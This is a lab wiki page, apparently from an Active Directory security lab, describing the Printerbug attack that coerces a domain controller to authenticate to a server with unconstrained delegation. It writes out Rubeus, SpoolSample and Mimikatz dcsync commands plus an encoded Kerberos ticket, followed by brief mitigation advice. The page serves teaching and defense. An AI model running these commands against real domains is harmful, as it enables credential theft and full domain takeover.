Printerbug

Abusing unconstrained delegation and the printspooler service.

Configuring

The unconstrained delegation is already configured in:

pageUnconstrained Delegation

Attacking

How it works

If we have the control of a server with unconstrained delegation and if the printspooler service is enabled on a DC it is possible to force it to authenticate to this server by abusing the printspooler. Then we would be able to extract the TGT of the DC and execute a dcsync.

Tools

Executing the attack

The attack will start from the perspective of already owning the FILE01 server from the constrained delegation and already having access to FILE01 using psexec.

pageUnconstrained Delegation
  1. On FILE01 execute the following Rubeus.exe command to show all the tickets currently on the system:

.\Rubeus.exe triage

2. There is no ticket for DC02. We can execute the spoolsample to force the DC to authenticate to the FILE01 server and leave a TGT ticket. We can do this with the following command:

.\SpoolSample.exe DC02.amsterdam.bank.local FILE01

3. Now when we check if there is a ticket on FILE01 for DC02 and there is:

4. We can dump this ticket and reuse it and then execute a dcsync just like during the unconstrained delegation attack. But this time we need to use the Rubeus monitor function and then run the spoolsample again:

.\Rubeus.exe monitor /interval:1
.\SpoolSample.exe DC02.amsterdam.bank.local FILE01

Inject the ticket:

.\Rubeus.exe ptt /ticket:doIF3DCCBdigAwIBBaEDAgEWooIEzDCCBMhhggTEMIIEwKADAgEFoRYbFEFNU1RFUkRBTS5CQU5LLkxPQ0FMoikwJ6ADAgECoSAwHhsGa3JidGd0GxRBTVNURVJEQU0uQkFOSy5MT0NBTKOCBHQwggRwoAMCARKhAwIBAqKCBGIEggReqg7TqP3XAFmMsblP2I09m1Q2Qidj9D0z6BiR4SpsL6defgJBl7HKICNn7QjfYbAx6J91QRC+isFf2cGXI4antasJyKXXS6lgdVGUxcDoAoth5yGGpOIC7of84gtB6lT+yUCcKLfich/+IDRj7Pno1xIwDxRPGBZcrvAkMqqXVva2HENhTtl5Kr6IVbQtu6CK7DVOoQoyHQiqelQn9oBIYVODkDXeRiZ9s4gqRoB/xdPoE6Ewo3p0BvHwr79SsiHU3CCkIjgk1b7QS5G4XB9+AiHIM91PGhWsZGSU1sOtv+f+h76G245UcQ7ME/BL3CNqG9lw3jnpj8jGRtEu8wT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YiYwjHB0hdGAhyVr/9zT/nw8zzob3YoxAdKVnE9DXP7JWaBi+QqGtRjWkgYQ0bbtnDp9gNrKmjgfswgfigAwIBAKKB8ASB7X2B6jCB56CB5DCB4TCB3qArMCmgAwIBEqEiBCB3f9r9zYriCAoH30QtJdF+Mo9JVwr2f1H8RgzpaOZpg6EWGxRBTVNURVJEQU0uQkFOSy5MT0NBTKISMBCgAwIBAaEJMAcbBURDMDIkowcDBQBgoQAApREYDzIwMjIwNjI5MTU0NjU1WqYRGA8yMDIyMDYzMDAxNDY1NVqnERgPMjAyMjA3MDIwNzE2MjdaqBYbFEFNU1RFUkRBTS5CQU5LLkxPQ0FMqSkwJ6ADAgECoSAwHhsGa3JidGd0GxRBTVNURVJEQU0uQkFOSy5MT0NBTA==

Download MimiKatz and execute dcsync:

Invoke-Mimikatz -Command '"lsadump::dcsync /all"'

Defending

Recommendations

  • Tightly secure and monitor the user of AD objects with delegation set.

    • Set strong passwords and rotate them periodically.

    • Limit logons to systems.

    • Harden the systems these accounts are used.

  • Add the flag "this account is sensitive and cannot be delegated"

  • Add all high privileged accounts to the protected users group.

pageProtected users group

Detection

References

Last updated